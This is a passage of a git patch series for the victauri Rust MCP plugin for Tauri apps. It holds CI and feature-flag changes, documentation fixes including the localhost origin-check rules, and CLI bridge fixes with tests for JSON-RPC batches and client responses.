-- -D warnings + # The workspace step above does NOT compile the plugin without SQLite: demo-app and + # gauntlet-app depend on victauri-plugin with default features, and cargo's feature + # unification keeps `sqlite` on for every member. Only a `-p victauri-plugin` build + # actually compiles the `not(feature = "sqlite")` paths a consumer with + # `default-features = false` gets. + - name: Clippy (plugin alone, no SQLite) + if: matrix.os == 'ubuntu-latest' + run: cargo clippy -p victauri-plugin --all-targets --no-default-features -- -D warnings + + - name: Plugin unit tests (no SQLite) + if: matrix.os == 'ubuntu-latest' + run: cargo test -p victauri-plugin --no-default-features --lib + - name: Clippy (release profile — incl. tests) if: matrix.os == 'ubuntu-latest' run: cargo clippy --workspace --all-targets --release -- -D warnings @@ -414,8 +427,11 @@ jobs: with: save-if: ${{ github.ref == 'refs/heads/main' || github.ref == 'refs/heads/master' }} + # --locked: check the committed lockfile's versions (the ones CI and a fresh + # `cargo install --locked` resolve), and fail if Cargo.lock is out of date instead of + # silently re-resolving. - name: Check MSRV - run: cargo check --workspace + run: cargo check --workspace --locked # victauri-plugin accepts rusqlite `>=0.32, <0.41` so cargo unifies onto the app's own # rusqlite (`links = "sqlite3"` allows one libsqlite3-sys per build). The lockfile pins the @@ -546,10 +562,13 @@ jobs: tool: cargo-semver-checks@0.50.0 # INFORMATIONAL — not a required gate: a new stable rustdoc JSON format can outrun - # the pinned cargo-semver-checks, which is a tooling failure, not an API break. With - # 0.50.0 on Rust 1.97 the full check runs (core, plugin, test: 0.8.8 -> 0.9.0 passes as - # the intended major bump). A failure is surfaced as a warning annotation below, never - # swallowed silently; RELEASING.md makes the local run the pre-release gate. + # the pinned cargo-semver-checks, which is a tooling failure, not an API break. Note + # that for a 0.x MAJOR bump (0.8.8 -> 0.9.0) this step checks NOTHING: every lint is + # already permitted by a major bump, so it reports "0 checks … 254 skip" and passes. + # It only has teeth between patch releases of one 0.x line. RELEASING.md step 3 covers + # what to run for a major bump (`--release-type minor`, to list what actually broke). + # A failure is surfaced as a warning annotation below, never swallowed silently; + # RELEASING.md makes the local run the pre-release gate. - name: Check semver (informational) id: semver continue-on-error: true diff --git a/CHANGELOG.md b/CHANGELOG.md index c5d7cc4a..0b032d17 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -441,6 +441,14 @@ The remainder of this entry is the first (full-surface) audit round, merged in # on the main thread in `setup` (`static APP: OnceLock`) and background work only borrows it. The pattern is documented for apps under "Linux: keep Tauri handles on the main thread" in the compatibility docs. +- **CI never compiled the plugin without SQLite.** The "no default features" clippy step ran over the + workspace, where the example apps' default-feature dependency on the plugin kept `sqlite` on + through feature unification. CI now also runs clippy and the unit tests for `victauri-plugin` + alone with `--no-default-features` (both clean locally). The MSRV job checks with `--locked`. + The semver job's comment claimed the 0.8.8 → 0.9.0 check "passes as the intended major bump"; + for a 0.x major bump cargo-semver-checks runs no lints at all ("0 checks … 254 skip"). + RELEASING.md now says to also run `--release-type minor` for a major bump to list what actually + changed. ## [0.8.8] - 2026-08-12 diff --git a/RELEASING.md b/RELEASING.md index 930a040d..ac52c92e 100644 --- a/RELEASING.md +++ b/RELEASING.md @@ -37,6 +37,11 @@ Two layers now prevent that: non-CI-green commit is refused, loudly, before the publish step. 3. **Semver report (local)** — `cargo semver-checks check-release --workspace` before bumping. CI runs the same check but only as information; read its output rather than its colour. + **For a 0.x major bump (e.g. 0.8.x → 0.9.0) that command checks nothing**: a major bump + already permits every lint, so it prints "0 checks … N skip" and passes. Also run + `cargo semver-checks check-release --workspace --release-type minor` (or per crate with + `-p`) and read the failures: they are the list of what actually changed, and every item in it + must be covered by MIGRATION.md. 4. **Publish runs verified-then-tokenless** — `release.yml` first runs `cargo publish --workspace --dry-run` with no token present, then uploads each crate with `--no-verify` in a step that alone holds the token, so no build script ever runs next to it. From df67b1bf54f8fdc71b4d8055375fbd75a6b96bd5 Mon Sep 17 00:00:00 2001 From: antony Date: Tue, 29 Sep 2026 23:54:10 +1000 Subject: [PATCH 107/167] docs: fix Pages link case, document bundled-sqlite, drop no-op --wait - crates/victauri-plugin/README.md linked /victauri/tools-reference.html, which 404s; GitHub Pages paths are case-sensitive (/Victauri/ is 200). - Document the `sqlite` / `bundled-sqlite` default features in the plugin README and docs/src/configuration.md, including that bundled-sqlite also switches the app's own rusqlite to bundled SQLite and how to opt out. - examples/demo-app/.mcp.json: drop the no-op `--wait`. - MIGRATION.md: blank line before the v0.8.7 heading. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- CHANGELOG.md | 5 +++++ MIGRATION.md | 1 + crates/victauri-plugin/README.md | 21 ++++++++++++++++++++- docs/src/configuration.md | 21 +++++++++++++++++++++ examples/demo-app/.mcp.json | 2 +- 5 files changed, 48 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 0b032d17..f3662720 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -449,6 +449,11 @@ The remainder of this entry is the first (full-surface) audit round, merged in # for a 0.x major bump cargo-semver-checks runs no lints at all ("0 checks … 254 skip"). RELEASING.md now says to also run `--release-type minor` for a major bump to list what actually changed. +- Docs: the plugin README's tools-reference link 404'd (GitHub Pages paths are case-sensitive: + `/Victauri/`); the `sqlite` / `bundled-sqlite` features, including that `bundled-sqlite` also + switches the app's own rusqlite to bundled SQLite and how to opt out, are documented in the + plugin README and the configuration docs; the demo app's `.mcp.json` no longer passes the no-op + `--wait`. ## [0.8.8] - 2026-08-12 diff --git a/MIGRATION.md b/MIGRATION.md index 4bddb026..16c2d7ba 100644 --- a/MIGRATION.md +++ b/MIGRATION.md @@ -159,6 +159,7 @@ implementations, so existing impls compile unchanged — `try_get_window_states` - The config structs `CodegenOptions`, `SmokeConfig`, `VisualOptions`, `MaskRegion` and the `Junit*` report types stay exhaustive (struct-update syntax keeps working); a field added to one of them later will be called out as a breaking change. + ## v0.8.7 → v0.8.8 (MCP stack upgraded to rmcp 3.1.2 / MCP `2026-07-28`) No consumer code changes are required and no dependency-requirement change is needed diff --git a/crates/victauri-plugin/README.md b/crates/victauri-plugin/README.md index 91d44696..23efd477 100644 --- a/crates/victauri-plugin/README.md +++ b/crates/victauri-plugin/README.md @@ -47,9 +47,28 @@ victauri_plugin::VictauriBuilder::new() .expect("valid config") ``` +## Cargo features + +| Feature | Default | What it does | +|---|---|---| +| `sqlite` | on | `query_db` and `introspect db_health` (via rusqlite). Without it both tools return a clear "not compiled in" error. | +| `bundled-sqlite` | on | Compiles SQLite into the binary (rusqlite's `bundled`). Implies `sqlite`. | + +The plugin accepts rusqlite `>=0.32, <0.41`, so cargo unifies it with your app's own rusqlite — +which means `bundled-sqlite` **also switches your app's rusqlite to the bundled SQLite**. If your +app links a system SQLite or SQLCipher, keep yours by turning the default features off and +enabling only `sqlite`: + +```toml +[dependencies] +victauri-plugin = { version = "0.9", default-features = false, features = ["sqlite"] } +``` + +(With `default-features = false` and no `sqlite`, the plugin has no rusqlite dependency at all.) + ## Tools -35 MCP tools across three layers -- webview, IPC, and Rust backend (full catalog in the [tools reference](https://4da-systems.github.io/victauri/tools-reference.html)): +35 MCP tools across three layers -- webview, IPC, and Rust backend (full catalog in the [tools reference](https://4da-systems.github.io/Victauri/tools-reference.html)): ### Backend (direct Rust access, no webview needed) diff --git a/docs/src/configuration.md b/docs/src/configuration.md index cf87bb54..dad0dd99 100644 --- a/docs/src/configuration.md +++ b/docs/src/configuration.md @@ -17,6 +17,27 @@ Victauri is configured via the `VictauriBuilder` API in Rust code and/or environ | Navigation log cap | `.navigation_log_capacity(200)` | — | 200 | | Event bus capture | `.listen_events(&[...])` | — | Window events only | +## Cargo Features + +| Feature | Default | What it does | +|---------|---------|--------------| +| `sqlite` | on | `query_db` and `introspect db_health` (via rusqlite). Without it both tools return a clear "not compiled in" error. | +| `bundled-sqlite` | on | Compiles SQLite into the binary (rusqlite's `bundled` feature). Implies `sqlite`. | + +`victauri-plugin` accepts rusqlite `>=0.32, <0.41`, so cargo unifies it with your app's own +rusqlite (only one `libsqlite3-sys` can be linked per build). The consequence: with the default +`bundled-sqlite` feature, **your app's rusqlite is switched to the bundled SQLite as well**. That is +harmless for most apps, but an app that deliberately links a system SQLite or SQLCipher should turn +the default features off and keep only `sqlite`: + +```toml +[dependencies] +victauri-plugin = { version = "0.9", default-features = false, features = ["sqlite"] } +``` + +With `default-features = false` and no `sqlite` feature, the plugin has no rusqlite dependency +at all. + ## VictauriBuilder API ### Basic Setup diff --git a/examples/demo-app/.mcp.json b/examples/demo-app/.mcp.json index ee0e1811..74bdb9cc 100644 --- a/examples/demo-app/.mcp.json +++ b/examples/demo-app/.mcp.json @@ -2,7 +2,7 @@ "mcpServers": { "victauri-demo": { "command": "victauri", - "args": ["bridge", "--wait", "--app", "com.example.victauri-demo"] + "args": ["bridge", "--app", "com.example.victauri-demo"] } } } From 316414ab4850ec05223731059b71253871e6bded Mon Sep 17 00:00:00 2001 From: antony Date: Tue, 29 Sep 2026 23:55:38 +1000 Subject: [PATCH 108/167] docs: state the real browser-origin rule (403 vs 415) MIGRATION.md said both that an Origin-bearing POST gets 415 unless JSON and that "any Origin" gets 403; docs/src/security.md repeated the 403 claim. Per origin_guard / is_allowed_origin (victauri-core) and require_json_from_browsers (plugin server.rs): 403 for Sec-Fetch-Site other than none, a non-localhost, unparseable or tauri:// Origin; a localhost http/https Origin is allowed and then must send JSON (415). Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- CHANGELOG.md | 5 +++++ MIGRATION.md | 16 ++++++++++------ docs/src/security.md | 16 +++++++++++----- 3 files changed, 26 insertions(+), 11 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index f3662720..a43a0133 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -454,6 +454,11 @@ The remainder of this entry is the first (full-surface) audit round, merged in # switches the app's own rusqlite to bundled SQLite and how to opt out, are documented in the plugin README and the configuration docs; the demo app's `.mcp.json` no longer passes the no-op `--wait`. +- Docs: MIGRATION.md contradicted itself on browser-originated requests (one bullet said an + `Origin`-bearing POST gets 415 unless JSON, another that "any `Origin`" gets 403), and the + security docs repeated the 403 claim. The actual rule, now in both: 403 for a `Sec-Fetch-Site` + other than `none`, a non-localhost, unparseable or `tauri://` `Origin`; a localhost `Origin` is + allowed through and a POST carrying it must be JSON (415 otherwise). ## [0.8.8] - 2026-08-12 diff --git a/MIGRATION.md b/MIGRATION.md index 16c2d7ba..8bb6a8e9 100644 --- a/MIGRATION.md +++ b/MIGRATION.md @@ -55,8 +55,9 @@ implementations, so existing impls compile unchanged — `try_get_window_states` `integrity_check: "not completed…"` instead of failing on large databases. - `query_db` rejects table-valued `pragma_*()` functions for non-allowlisted pragmas and the `PRAGMA name(value)` write form. -- Browser-originated (`Origin`-bearing) POSTs to `/mcp` or `/api/tools` must be - `Content-Type: application/json` (415 otherwise). Non-browser clients are unaffected. +- A POST that carries an `Origin` header and gets past the origin check below (a localhost + `http`/`https` origin, no `Sec-Fetch-Site` other than `none`) must be + `Content-Type: application/json` (415 otherwise). Clients that send no `Origin` are unaffected. - Several tools' MCP annotations changed (`recording`, `introspect`, `logs`, `window` are now `destructive_hint`; `verify_state`, `wait_for`, `assert_semantic`, `inspect`, `animation` are no longer `read_only_hint`). Clients that auto-approve read-only tools will now ask for these. @@ -83,10 +84,13 @@ implementations, so existing impls compile unchanged — `try_get_window_states` runs in, so the call fails clearly instead of typing into another app). - `victauri-test`: `Locator::check()`/`uncheck()` click the element (and verify it changed), and a stale element reference is `ElementNotFound` instead of an empty/false value. -- The server speaks HTTP/1.1 only and refuses browser-originated requests (any `Origin`, a - `Sec-Fetch-Site` other than `none`) with 403, including `tauri://` origins; it no longer sends - `Access-Control-Allow-Origin`. HTTP clients (curl, reqwest, the CLI, `victauri-test`) are - unaffected. +- The server speaks HTTP/1.1 only and answers 403 to a request with a `Sec-Fetch-Site` header + other than `none` (which every current browser sends on a web page's cross-site or same-site + fetch), an `Origin` that is not an `http`/`https` localhost origin (`localhost`, `127.0.0.1`, + `[::1]`), an `Origin` it cannot parse, or a `tauri://` origin. A localhost `Origin` alone is + allowed through, and then meets the JSON content-type rule above (415). The server no longer + sends `Access-Control-Allow-Origin`. HTTP clients that send no `Origin` or `Sec-Fetch-Site` + (curl, reqwest, the CLI, `victauri-test`) are unaffected. - On Unix the discovery directory moved to `$XDG_RUNTIME_DIR/victauri/` or `/victauri-/`. The 0.9 CLI, test client and watchdog also read the old `/victauri/` root, so they find apps built with 0.8.x; a 0.8.x client does not find a 0.9 app. diff --git a/docs/src/security.md b/docs/src/security.md index c40f6613..bf63b5e0 100644 --- a/docs/src/security.md +++ b/docs/src/security.md @@ -264,11 +264,17 @@ The MCP server only accepts connections from localhost (`127.0.0.1` / `::1`). Th - Other machines on the LAN cannot connect - Only processes on the same machine can reach the server -Browsers on the same machine are refused outright, before any rate limiting: a request carrying -an `Origin` header (including an unreadable one or a `tauri://` origin — the app's own webview -talks to Victauri over Tauri IPC, never HTTP) or any `Sec-Fetch-Site` other than `none` gets 403, -and no `Access-Control-Allow-Origin` header is ever sent. (Browsers too old to send -`Sec-Fetch-*` headers, e.g. Safari before 16.4, are still stopped by the Host/Origin checks.) +Browser requests are refused before any rate limiting. A request gets 403 if it carries a +`Sec-Fetch-Site` header other than `none` (every current browser sends one on a web page's +cross-site or same-site fetch), an `Origin` that is not an `http`/`https` localhost origin +(`localhost`, `127.0.0.1`, `[::1]`), an `Origin` that cannot be parsed, or a `tauri://` origin +(the app's own webview talks to Victauri over Tauri IPC, never HTTP). A localhost `Origin` on its +own is allowed through; a POST carrying one must then be `Content-Type: application/json`, or it +gets 415. No `Access-Control-Allow-Origin` header is ever sent, so a browser can neither read a +response nor get a preflighted (JSON or `Authorization`-bearing) request approved. That is what +still stops a page on a localhost origin in a browser too old to send `Sec-Fetch-*` headers +(e.g. Safari before 16.4): its CORS-simple POSTs are refused as non-JSON, and anything else needs +a preflight the server never approves. ## Security Headers From d37a88f142c40b165a7a2967faa4bc4e0df275f3 Mon Sep 17 00:00:00 2001 From: antony Date: Tue, 29 Sep 2026 23:37:01 +1000 Subject: [PATCH 109/167] fix(cli): answer a JSON-RPC batch locally, never forward it (R5-BR1) A batch (JSON array on stdin) read method '' so may_replay() allowed it to be re-sent after a post-send failure, and is_notification was true for arrays so the final error was dropped: the client never got a reply. The real server (rmcp 3.1.2) rejects batches (415) without executing them, and MCP removed batching in 2025-06-18. The bridge now answers a batch itself, as JSON-RPC 2.0 section 6 prescribes: an array with one -32600 'batch requests are not supported' error per request element, carrying that element's id (so every id the client waits on resolves); notifications/responses get no entry; a non-object element gets id null; an empty array gets a single error with id null; an all-notification batch gets no reply. Nothing is forwarded. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-cli/src/bridge.rs | 92 +++++++++++++++++++ .../victauri-cli/tests/bridge_protocol_e2e.rs | 61 ++++++++++++ 2 files changed, 153 insertions(+) diff --git a/crates/victauri-cli/src/bridge.rs b/crates/victauri-cli/src/bridge.rs index 889be5b9..87d74a5b 100644 --- a/crates/victauri-cli/src/bridge.rs +++ b/crates/victauri-cli/src/bridge.rs @@ -190,6 +190,18 @@ pub async fn run(wait: bool, app: Option) -> Result<()> { } }; + // A JSON-RPC batch is answered here and NEVER forwarded (R5-BR1): see `batch_rejection`. + if let Value::Array(items) = &msg { + match batch_rejection(items) { + Some(reply) => write_value(&stdout, &reply), + None => eprintln!( + "victauri-bridge: dropped a JSON-RPC batch of notifications/responses \ + (batching is not supported)" + ), + } + continue; + } + let method = msg.get("method").and_then(|m| m.as_str()).unwrap_or(""); let id = msg.get("id").cloned().unwrap_or(Value::Null); let is_notification = msg.get("id").is_none(); @@ -295,6 +307,53 @@ pub async fn run(wait: bool, app: Option) -> Result<()> { Ok(()) } +/// JSON-RPC "Invalid Request" — used for a batch, which MCP does not support. +const INVALID_REQUEST: i64 = -32600; +const BATCH_UNSUPPORTED: &str = "batch requests are not supported: MCP removed JSON-RPC \ + batching in protocol revision 2025-06-18; send each message as its own line"; + +/// The local reply to a JSON-RPC batch (a JSON array on stdin), or `None` when nothing may be +/// answered. +/// +/// MCP removed batching in 2025-06-18 and the embedded server rejects a batch without executing +/// it, so the bridge never forwards one: forwarding only produced an id-less error the client +/// could not match (or, after a post-send failure, re-sent the whole batch). Instead it answers +/// the way JSON-RPC 2.0 §6 prescribes for a batch: an ARRAY holding one `-32600` error per +/// request element, each carrying that element's `id`, so every id the client is waiting on is +/// resolved. Notifications and responses inside the batch get no entry (JSON-RPC never answers +/// either); an element that is not an object gets an error with `id: null`. An empty array is +/// itself an invalid request → a single error object with `id: null`. A batch of only +/// notifications/responses → `None` (§6: "the Server MUST NOT return an empty Array"). +fn batch_rejection(items: &[Value]) -> Option { + let error = |id: Value| { + json!({ + "jsonrpc": "2.0", + "id": id, + "error": { "code": INVALID_REQUEST, "message": BATCH_UNSUPPORTED } + }) + }; + if items.is_empty() { + return Some(error(Value::Null)); + } + let replies: Vec = items + .iter() + .filter_map(|item| { + let Some(obj) = item.as_object() else { + return Some(error(Value::Null)); + }; + let is_notification = obj.contains_key("method") && !obj.contains_key("id"); + let is_response = !obj.contains_key("method") + && (obj.contains_key("result") || obj.contains_key("error")); + if is_notification || is_response { + None + } else { + Some(error(obj.get("id").cloned().unwrap_or(Value::Null))) + } + }) + .collect(); + (!replies.is_empty()).then_some(Value::Array(replies)) +} + /// The `initialize` reply the bridge synthesizes itself, so the MCP server is "connected" /// the instant Claude Code launches — with no app running. Advertises `tools`/`resources` /// with `listChanged` so the client refreshes its lists when the app later comes up. @@ -1810,6 +1869,39 @@ mod tests { let _ = std::fs::remove_dir_all(&base); } + /// R5-BR1: a batch is rejected locally, one error per request element, per JSON-RPC §6. + #[test] + fn batch_rejection_answers_each_request_and_nothing_else() { + let reply = batch_rejection(&[ + json!({"jsonrpc":"2.0","id":1,"method":"tools/call"}), + json!({"jsonrpc":"2.0","method":"notifications/cancelled"}), + json!({"jsonrpc":"2.0","id":"srv-1","result":{}}), + json!({"jsonrpc":"2.0","id":2}), + json!("junk"), + ]) + .unwrap(); + let ids: Vec = reply + .as_array() + .unwrap() + .iter() + .map(|e| e["id"].clone()) + .collect(); + assert_eq!(ids, [json!(1), json!(2), Value::Null]); + assert!( + reply + .as_array() + .unwrap() + .iter() + .all(|e| e["error"]["code"] == INVALID_REQUEST) + ); + let empty = batch_rejection(&[]).unwrap(); + assert!(empty.is_object() && empty["id"].is_null()); + assert_eq!( + batch_rejection(&[json!({"jsonrpc":"2.0","method":"notifications/x"})]), + None + ); + } + /// R5-BR2: blank selectors are "unset", matching victauri-test and the watchdog. #[test] fn app_selector_treats_blank_as_unset() { diff --git a/crates/victauri-cli/tests/bridge_protocol_e2e.rs b/crates/victauri-cli/tests/bridge_protocol_e2e.rs index 13218433..63d96a45 100644 --- a/crates/victauri-cli/tests/bridge_protocol_e2e.rs +++ b/crates/victauri-cli/tests/bridge_protocol_e2e.rs @@ -154,6 +154,8 @@ impl Harness { #[derive(Clone, Default)] struct Backend { tool_calls: Arc, + /// JSON arrays (batches) that reached the backend. + batches: Arc, } async fn stateless_mcp( @@ -162,6 +164,11 @@ async fn stateless_mcp( ) -> axum::response::Response { use axum::response::IntoResponse; let v: Value = serde_json::from_str(&body).unwrap_or(Value::Null); + if v.is_array() { + // What rmcp 3.1.2 does with a batch (verified live): reject it, never execute it. + b.batches.fetch_add(1, Ordering::SeqCst); + return axum::http::StatusCode::UNSUPPORTED_MEDIA_TYPE.into_response(); + } let id = v.get("id").cloned(); match v.get("method").and_then(Value::as_str) { Some("tools/call") => { @@ -203,3 +210,57 @@ async fn empty_victauri_app_env_is_treated_as_unset() { assert_eq!(backend.tool_calls.load(Ordering::SeqCst), 1); } } + +/// R5-BR1: a JSON-RPC batch (a JSON array) is answered LOCALLY — MCP removed batching in +/// 2025-06-18 and the real server rejects it — with a JSON-RPC batch response: one -32600 error +/// per request element, carrying that element's id (notifications get none), so every pending +/// id the client holds is resolved. It is never forwarded (so never re-sent after a failure), +/// and an all-notification batch gets no reply at all, per JSON-RPC 2.0 §6. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn a_batch_is_rejected_locally_with_one_error_per_request() { + let backend = Backend::default(); + let mut h = Harness::start(backend_routes(&backend), true, &[]).await; + + h.send(&json!([ + {"jsonrpc":"2.0","id":10,"method":"tools/call","params":{"name":"eval_js","arguments":{}}}, + {"jsonrpc":"2.0","method":"notifications/progress","params":{}}, + {"jsonrpc":"2.0","id":"eleven","method":"ping"}, + 42 + ])); + let reply = h.recv_reply(); + let errs = reply + .as_array() + .unwrap_or_else(|| panic!("batch reply must be an array: {reply}")); + let ids: Vec<&Value> = errs.iter().map(|e| &e["id"]).collect(); + assert_eq!(ids, [&json!(10), &json!("eleven"), &Value::Null], "{reply}"); + for e in errs { + assert_eq!(e["jsonrpc"], "2.0"); + assert_eq!(e["error"]["code"], -32600, "{e}"); + assert!( + e["error"]["message"].as_str().unwrap().contains("batch"), + "{e}" + ); + } + + // An empty batch is itself an invalid request: one error object, id null. + h.send(&json!([])); + let empty = h.recv_reply(); + assert_eq!(empty["id"], Value::Null, "{empty}"); + assert_eq!(empty["error"]["code"], -32600, "{empty}"); + + // All notifications → no reply. The next reply seen must be the ping's. + h.send(&json!([{"jsonrpc":"2.0","method":"notifications/progress","params":{}}])); + h.send(&json!({"jsonrpc":"2.0","id":12,"method":"ping"})); + let ping = h.recv_reply(); + assert_eq!( + ping["id"], 12, + "an all-notification batch must get no reply: {ping}" + ); + + assert_eq!( + backend.batches.load(Ordering::SeqCst), + 0, + "batches are never forwarded" + ); + assert_eq!(backend.tool_calls.load(Ordering::SeqCst), 0); +} From d6783fb393e44baeb3e6d94ce39333400e66a79d Mon Sep 17 00:00:00 2001 From: antony Date: Tue, 29 Sep 2026 23:40:03 +1000 Subject: [PATCH 110/167] fix(cli): never answer a client's JSON-RPC response (R5-BR3) A message with an id but no method (a client->server RESPONSE) was forwarded, the backend answered 202, and the bridge then wrote an invented 'accepted with no response' error for the client's own reply. Decision: keep FORWARDING responses. A stateful (legacy-protocol) backend can put a server-initiated request (sampling/elicitation/roots) inside an SSE stream, which the bridge relays verbatim, so the client's reply must reach the backend. But JSON-RPC never replies to a response: whatever the backend returns (202 or an error body) is logged to stderr, never written to the client. forward_with_retries now owes a reply only to a request (method + id). A message with neither a method nor a result/error is an Invalid Request, answered locally with -32600 and not forwarded. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-cli/src/bridge.rs | 79 +++++++++++++++++-- .../victauri-cli/tests/bridge_protocol_e2e.rs | 45 +++++++++++ 2 files changed, 119 insertions(+), 5 deletions(-) diff --git a/crates/victauri-cli/src/bridge.rs b/crates/victauri-cli/src/bridge.rs index 87d74a5b..86e7b51d 100644 --- a/crates/victauri-cli/src/bridge.rs +++ b/crates/victauri-cli/src/bridge.rs @@ -202,9 +202,53 @@ pub async fn run(wait: bool, app: Option) -> Result<()> { continue; } + // No `method`: a client->server RESPONSE, or an Invalid Request (R5-BR3). + if msg.get("method").is_none() { + if is_client_response(&msg) { + // A reply to a server-initiated request (sampling/elicitation/roots), which a + // stateful backend may send inside an SSE stream this bridge relays verbatim — so + // it must reach the backend. But JSON-RPC never answers a response: whatever the + // backend says (202, or an error body) is logged, never written to the client. + let outcome = forward_with_retries( + &http, + &connection, + &session_id, + &stateless, + &cached_init, + app.as_deref(), + &msg, + ) + .await; + match outcome { + ForwardResult::Accepted => {} + ForwardResult::Payloads(p) if p.is_empty() => {} + ForwardResult::Payloads(p) => eprintln!( + "victauri-bridge: backend answered a client response (not relayed): {}", + p.join(" ") + ), + ForwardResult::Unreachable(e) => { + eprintln!("victauri-bridge: could not deliver a client response: {e}"); + } + } + } else { + write_value( + &stdout, + &json!({ + "jsonrpc": "2.0", + "id": msg.get("id").cloned().unwrap_or(Value::Null), + "error": { + "code": INVALID_REQUEST, + "message": "invalid request: a JSON-RPC request needs a `method`" + } + }), + ); + } + continue; + } + let method = msg.get("method").and_then(|m| m.as_str()).unwrap_or(""); let id = msg.get("id").cloned().unwrap_or(Value::Null); - let is_notification = msg.get("id").is_none(); + let is_notification = !expects_reply(&msg); match method { // ── Answered locally — never block on a backend ────────────────────── @@ -307,6 +351,17 @@ pub async fn run(wait: bool, app: Option) -> Result<()> { Ok(()) } +/// Whether `msg` is a JSON-RPC request the client is waiting on a reply to: it has both a +/// `method` and an `id`. Notifications (no `id`) and responses (no `method`) never get one. +fn expects_reply(msg: &Value) -> bool { + msg.get("method").is_some() && msg.get("id").is_some() +} + +/// A client->server JSON-RPC response: no `method`, and a `result` or an `error`. +fn is_client_response(msg: &Value) -> bool { + msg.get("method").is_none() && (msg.get("result").is_some() || msg.get("error").is_some()) +} + /// JSON-RPC "Invalid Request" — used for a batch, which MCP does not support. const INVALID_REQUEST: i64 = -32600; const BATCH_UNSUPPORTED: &str = "batch requests are not supported: MCP removed JSON-RPC \ @@ -342,9 +397,7 @@ fn batch_rejection(items: &[Value]) -> Option { return Some(error(Value::Null)); }; let is_notification = obj.contains_key("method") && !obj.contains_key("id"); - let is_response = !obj.contains_key("method") - && (obj.contains_key("result") || obj.contains_key("error")); - if is_notification || is_response { + if is_notification || is_client_response(item) { None } else { Some(error(obj.get("id").cloned().unwrap_or(Value::Null))) @@ -648,7 +701,9 @@ async fn forward_with_retries( app: Option<&str>, msg: &Value, ) -> ForwardResult { - let is_notification = msg.get("id").is_none(); + // Only a request (method + id) is owed a reply; never synthesize one for a notification or + // for a client response (R5-BR3). + let is_notification = !expects_reply(msg); // SECURITY (audit #1): re-resolve the trusted backend on EVERY forward — never reuse a cached // `(port, token)` without re-confirming, right now, that the port still belongs to a live, @@ -1869,6 +1924,20 @@ mod tests { let _ = std::fs::remove_dir_all(&base); } + /// R5-BR3: only a request (method + id) is owed a reply. + #[test] + fn only_requests_expect_a_reply() { + assert!(expects_reply(&json!({"id": 1, "method": "tools/call"}))); + assert!(!expects_reply(&json!({"method": "notifications/x"}))); + assert!(!expects_reply(&json!({"id": 1, "result": {}}))); + assert!(is_client_response(&json!({"id": 1, "result": {}}))); + assert!(is_client_response(&json!({"id": 1, "error": {"code": 1}}))); + assert!(!is_client_response(&json!({"id": 1}))); + assert!(!is_client_response( + &json!({"id": 1, "method": "m", "result": {}}) + )); + } + /// R5-BR1: a batch is rejected locally, one error per request element, per JSON-RPC §6. #[test] fn batch_rejection_answers_each_request_and_nothing_else() { diff --git a/crates/victauri-cli/tests/bridge_protocol_e2e.rs b/crates/victauri-cli/tests/bridge_protocol_e2e.rs index 63d96a45..7cd6ecfb 100644 --- a/crates/victauri-cli/tests/bridge_protocol_e2e.rs +++ b/crates/victauri-cli/tests/bridge_protocol_e2e.rs @@ -156,6 +156,10 @@ struct Backend { tool_calls: Arc, /// JSON arrays (batches) that reached the backend. batches: Arc, + /// Client->server JSON-RPC responses (no `method`) that reached the backend. + responses: Arc, + /// Messages with neither a `method` nor a `result`/`error` that reached the backend. + malformed: Arc, } async fn stateless_mcp( @@ -170,6 +174,14 @@ async fn stateless_mcp( return axum::http::StatusCode::UNSUPPORTED_MEDIA_TYPE.into_response(); } let id = v.get("id").cloned(); + if v.get("method").is_none() { + if v.get("result").is_some() || v.get("error").is_some() { + // A response to a server-initiated request: accepted, no body (as rmcp does). + b.responses.fetch_add(1, Ordering::SeqCst); + return axum::http::StatusCode::ACCEPTED.into_response(); + } + b.malformed.fetch_add(1, Ordering::SeqCst); + } match v.get("method").and_then(Value::as_str) { Some("tools/call") => { b.tool_calls.fetch_add(1, Ordering::SeqCst); @@ -264,3 +276,36 @@ async fn a_batch_is_rejected_locally_with_one_error_per_request() { ); assert_eq!(backend.tool_calls.load(Ordering::SeqCst), 0); } + +/// R5-BR3: a message with an `id` but no `method` is a client->server RESPONSE (to a +/// server-initiated request such as sampling/elicitation/roots, which a stateful backend can +/// send inside an SSE stream the bridge relays). It is forwarded, but JSON-RPC never replies to +/// a response — the bridge used to answer the client's own reply with an invented error. A +/// message with neither a method nor a result/error is an Invalid Request, answered locally. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn a_client_response_is_forwarded_and_never_answered() { + let backend = Backend::default(); + let mut h = Harness::start(backend_routes(&backend), true, &[]).await; + + h.send(&json!({"jsonrpc":"2.0","id":"srv-1","result":{"roots":[]}})); + h.send(&json!({"jsonrpc":"2.0","id":"srv-2","error":{"code":-1,"message":"declined"}})); + // The loop handles stdin in order, so the ping's reply is the next one — unless the + // bridge answered either response. + h.send(&json!({"jsonrpc":"2.0","id":12,"method":"ping"})); + let next = h.recv_reply(); + assert_eq!( + next["id"], 12, + "a client response must never be answered: {next}" + ); + assert_eq!( + backend.responses.load(Ordering::SeqCst), + 2, + "responses are still forwarded to the backend" + ); + + h.send(&json!({"jsonrpc":"2.0","id":13})); + let invalid = h.recv_reply(); + assert_eq!(invalid["id"], 13, "{invalid}"); + assert_eq!(invalid["error"]["code"], -32600, "{invalid}"); + assert_eq!(backend.malformed.load(Ordering::SeqCst), 0, "not forwarded"); +} From 5216659cb6b01cb697d98ee26fb58efb7983151e Mon Sep 17 00:00:00 2001 From: antony Date: Tue, 29 Sep 2026 23:44:06 +1000 Subject: [PATCH 111/167] fix(cli): a tool call whose SSE response dies mid-stream says it may have run (R5-BR4) When an SSE response died mid-stream (after a progress event), resp.text() failed and unwrap_or_default() swallowed it, so the client got 'backend returned an empty or non-JSON response' - without the 